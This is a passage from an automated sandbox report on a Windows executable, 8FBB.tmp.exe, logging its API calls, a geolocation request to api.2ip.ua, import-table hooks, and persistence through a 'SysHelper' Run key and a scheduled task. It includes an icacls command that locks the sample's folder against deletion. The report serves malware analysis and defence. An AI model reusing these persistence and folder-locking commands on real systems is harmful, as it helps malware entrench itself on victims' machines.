Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x75141408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x7514152c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
System (6)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-10 16:39:38 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 15012750338 True 1
Fn
Get Time type = System Time, time = 2019-07-10 16:39:40 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 15319351358 True 1
Fn
Get Time type = System Time, time = 2019-07-10 16:39:46 (UTC) True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Debug (537)
»
Operation Process Additional Information Success Count Logfile
Detach - - False 537
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 467 bytes
Total Data Received 7.12 KB
Contacted Host Count 1
Contacted Hosts 77.123.139.189
HTTP Session #1
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.12 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
Process #3: icacls.exe
0 0
»
Information Value
ID #3
File Name c:\windows\syswow64\icacls.exe
Command Line icacls "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:41, Reason: Child Process
Unmonitor End Time: 00:00:43, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xa74
Parent PID 0x9a8 (c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A78
0x A7C
Process #4: taskeng.exe
0 0
»
Information Value
ID #4
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:41, Reason: Created Scheduled Job
Unmonitor End Time: 00:01:04, Reason: Self Terminated
Monitor Duration 00:00:22
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0x50c
Parent PID 0x36c (Unknown)
Bitness 64-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A4C
0x 8A8
0x 578
0x 574
0x 520
0x 514
0x 510
Process #5: 8fbb.tmp.exe
3245 13
»
Information Value
ID #5
File Name c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe" --Admin IsNotAutoStart IsNotTask
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:42, Reason: Child Process
Unmonitor End Time: 00:01:04, Reason: Self Terminated
Monitor Duration 00:00:22
OS Process Information
»
Information Value
PID 0xa84
Parent PID 0x9a8 (c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A88
0x A94
0x A98
0x A9C
0x AA0
0x AA4
0x AA8
0x AAC
0x AB0
0x AD4
0x AD8
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x0000000000d20000:+0x56f91 1. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:GetFileSecurityW+0x0 now points to private_0x000000007fff0000:+0x4986ffff
...
IAT private_0x0000000000d20000:+0x56f91 3. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:LockServiceDatabase+0x0 now points to private_0x000000007fff0000:+0x36100000
...
IAT private_0x0000000000d20000:+0x56f91 4. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegDeleteKeyA+0x0 now points to private_0x000000007fff0000:+0x36101a7e
...
IAT private_0x0000000000d20000:+0x56f91 5. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegOpenKeyW+0x0 now points to private_0x000000007fff0000:+0x782c1a42
...
IAT private_0x0000000000d20000:+0x56f91 6. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegCreateKeyExW+0x0 now points to private_0x000000007fff0000:+0x49341674
...
IAT private_0x0000000000d20000:+0x56f91 7. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:SetThreadToken+0x0 now points to private_0x000000007fff0000:+0x1f10ff85
...
IAT private_0x0000000000d20000:+0x56f91 9. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:AreAnyAccessesGranted+0x0 now points to private_0x000000007fff0000:+0x8000ffff
...
IAT private_0x0000000000d20000:+0x56f91 15. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:DnsHostnameToComputerNameA+0x0 now points to private_0x000000007fff0000:+0x4986c033
...
IAT private_0x0000000000d20000:+0x56f91 16. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetHandleInformation+0x0 now points to private_0x000000007fff0000:+0xdc19f0f
...
IAT private_0x0000000000d20000:+0x56f91 17. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetModuleHandleA+0x0 now points to private_0x000000007fff0000:+0x8000450c
...
IAT private_0x0000000000d20000:+0x56f91 19. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetFileAttributesExW+0x0 now points to private_0x000000007fff0000:+0x4986c933
...
IAT private_0x0000000000d20000:+0x56f91 23. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetNumberFormatA+0x0 now points to private_0x000000007fff0000:+0x36107f74
...
IAT private_0x0000000000d20000:+0x56f91 28. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlTryEnterCriticalSection+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d20000:+0x56f91 34. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:IsValidLocale+0x0 now points to private_0x000000007fff0000:+0x5ca3316
...
IAT private_0x0000000000d20000:+0x56f91 35. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetLocaleInfoW+0x0 now points to private_0x000000007fff0000:+0x41a00fff
...
IAT private_0x0000000000d20000:+0x56f91 36. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:LCMapStringW+0x0 now points to private_0x000000007fff0000:+0x7f4e0c8d
...
IAT private_0x0000000000d20000:+0x56f91 37. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:IsProcessorFeaturePresent+0x0 now points to private_0x000000007fff0000:+0x600ffff
...
IAT private_0x0000000000d20000:+0x56f91 45. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ExitProcess+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d20000:+0x56f91 50. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetConsoleCtrlHandler+0x0 now points to cryptbase.dll:SystemFunction036+0x182f
...
IAT private_0x0000000000d20000:+0x56f91 51. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlEnterCriticalSection+0x0 now points to private_0x000000007fff0000:+0x5c13312
...
IAT private_0x0000000000d20000:+0x56f91 52. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlLeaveCriticalSection+0x0 now points to private_0x000000007fff0000:+0x40a00fc9
...
IAT private_0x0000000000d20000:+0x56f91 53. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:FlushFileBuffers+0x0 now points to private_0x000000007fff0000:+0x7f460c8d
...
IAT private_0x0000000000d20000:+0x56f91 54. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:WriteFile+0x0 now points to private_0x000000007fff0000:+0x6c00ffff
...
IAT private_0x0000000000d20000:+0x56f91 55. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetConsoleCP+0x0 now points to private_0x000000007fff0000:+0x5ca3302
...
IAT private_0x0000000000d20000:+0x56f91 58. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:FatalAppExitA+0x0 now points to private_0x000000007fff0000:+0x592c5920
...
IAT private_0x0000000000d20000:+0x56f91 59. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlSizeHeap+0x0 now points to private_0x000000007fff0000:+0x5104f103
...
IAT private_0x0000000000d20000:+0x56f91 60. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ReadFile+0x0 now points to private_0x000000007fff0000:+0x310d93b
...
IAT private_0x0000000000d20000:+0x56f91 61. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ReadConsoleW+0x0 now points to private_0x000000007fff0000:+0x8000fb5f
...
IAT private_0x0000000000d20000:+0x56f91 62. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:HeapFree+0x0 now points to private_0x000000007fff0000:+0x5304f303
...
IAT private_0x0000000000d20000:+0x56f91 65. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentThread+0x0 now points to private_0x000000007fff0000:+0x1d25ff00
...
IAT private_0x0000000000d20000:+0x56f91 66. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentThreadId+0x0 now points to 8fbb.tmp.exe:+0x2930c
...
IAT private_0x0000000000d20000:+0x56f91 68. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetStdHandle+0x0 now points to private_0x000000007fff0000:+0x410e442
...
IAT private_0x0000000000d20000:+0x56f91 75. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetEnvironmentStringsW+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d20000:+0x56f91 81. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:Sleep+0x0 now points to private_0x000000007fff0000:+0x5ca3316
...
IAT private_0x0000000000d20000:+0x56f91 82. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentProcess+0x0 now points to private_0x000000007fff0000:+0x41a00fff
...
IAT private_0x0000000000d20000:+0x56f91 83. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TerminateProcess+0x0 now points to private_0x000000007fff0000:+0x7f4e0c8d
...
IAT private_0x0000000000d20000:+0x56f91 84. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TlsAlloc+0x0 now points to private_0x000000007fff0000:+0x600ffff
...
IAT private_0x0000000000d20000:+0x56f91 85. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TlsGetValue+0x0 now points to private_0x000000007fff0000:+0x41860fc9
...
IAT private_0x0000000000d20000:+0x56f91 92. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:LoadLibraryExW+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d20000:+0x56f91 97. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetStdHandle+0x0 now points to cryptbase.dll:SystemFunction036+0x18f7
...
IAT private_0x0000000000d20000:+0x56f91 98. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetFilePointerEx+0x0 now points to private_0x000000007fff0000:+0x5c13312
...
IAT private_0x0000000000d20000:+0x56f91 99. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:WriteConsoleW+0x0 now points to private_0x000000007fff0000:+0x40a00fc9
...
IAT private_0x0000000000d20000:+0x56f91 100. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlReAllocateHeap+0x0 now points to private_0x000000007fff0000:+0x7f460c8d
...
IAT private_0x0000000000d20000:+0x56f91 101. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetDateFormatW+0x0 now points to private_0x000000007fff0000:+0x6c00ffff
...
IAT private_0x0000000000d20000:+0x56f91 102. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetTimeFormatW+0x0 now points to private_0x000000007fff0000:+0x5ca3302
...
IAT private_0x0000000000d20000:+0x56f91 104. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:CreateFileW+0x0 now points to private_0x000000007fff0000:+0xb010003
...
Host Behavior
COM (8)
»
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute TaskScheduler ITaskService method_name = Connect, server_name = 95, domain = 95, password = 4289035 True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, path = \, new_interface = ITaskFolder True 1
Fn
Execute TaskScheduler ITaskService method_name = NewTask, new_interface = ITaskDefinition True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Triggers, new_interface = ITriggerCollection True 1
Fn
Execute TaskScheduler ITriggerCollection method_name = Create, type = TASK_TRIGGER_TIME, new_interface = IDailyTrigger True 1
Fn
Execute TaskScheduler IDailyTrigger method_name = put_StartBoundary, start_boundary = 2019-07-11T02:40:00 True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Actions, new_interface = IActionCollection True 1
Fn
File (549)
»
Operation Filename Additional Information Success Count Logfile
Create Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6f93160e-711d-4783-94c7-9eb23942bd31 - True 1
Fn
Get Info Fiwuluco ficuxuyolu rotebisikure type = file_attributes False 542
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Registry (1630)
»
Operation Key Additional Information Success Count Logfile
Create Key Vazobigi kutiruye pacucujuyikana sipupepazudu tamosoza - False 542
Fn
Open Key Jorayipifa dedi sezifowijo jowizalova gesolo - False 541
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe" --AutoStart, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 0, type = REG_NONE False 1
Fn
Write Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Delete Key Digiyeyo dogulawoxe hizo - False 542
Fn
Process (50)
»
Operation Process Additional Information Success Count Logfile
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\program files (x86)\google\performance.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sync framework\nuts.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\chapterpete.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\uninstall information\oliverbermudashipped.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\msbuild\sudan.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\reference assemblies\repair.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows nt\wired-brad-studying.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\reservations.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\rehab-probability-shelf.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\lid-contributions-rubber.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\internet explorer\lobby-dropped.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sql server compact edition\oriented-luck.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\earnedmating.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\orleans.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\adobe\reader 10.0\reader\reader_sl.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\conhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla maintenance service\annotation-atomic.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\sw typical avg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows photo viewer\failsrehabilitationscared.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\uninstall information\nights.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla firefox\dominican.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\winner.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\reference assemblies\philippines_champagne.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (297)
»
Operation Module Additional Information Success Count Logfile
Load WINMM.dll base_address = 0x74a40000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load ole32.dll base_address = 0x755e0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x75220000 True 1
Fn
Load IPHLPAPI.DLL base_address = 0x74aa0000 True 1
Fn
Load WS2_32.dll base_address = 0x75bc0000 True 1
Fn
Load DNSAPI.dll base_address = 0x749d0000 True 1
Fn
Load CRYPT32.dll base_address = 0x759b0000 True 1
Fn
Load msvcr100.dll base_address = 0x74910000 True 1
Fn
Load kernel32.dll base_address = 0x76c20000 True 1
Fn
Load Psapi.dll base_address = 0x75140000 True 1
Fn
Load Shell32.dll base_address = 0x75fd0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 3
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlW, address_out = 0x7544be5c True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlA, address_out = 0x754130f1 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpQueryInfoW, address_out = 0x753f5c75 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenW, address_out = 0x753f9197 True 1
Fn
Get Address c:\windows\syswow64\winmm.dll function = timeGetTime, address_out = 0x74a426e0 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindExtensionW, address_out = 0x7535a1b9 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindFileNameW, address_out = 0x7535bb71 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsW, address_out = 0x753545bf True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendA, address_out = 0x7534d65e True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
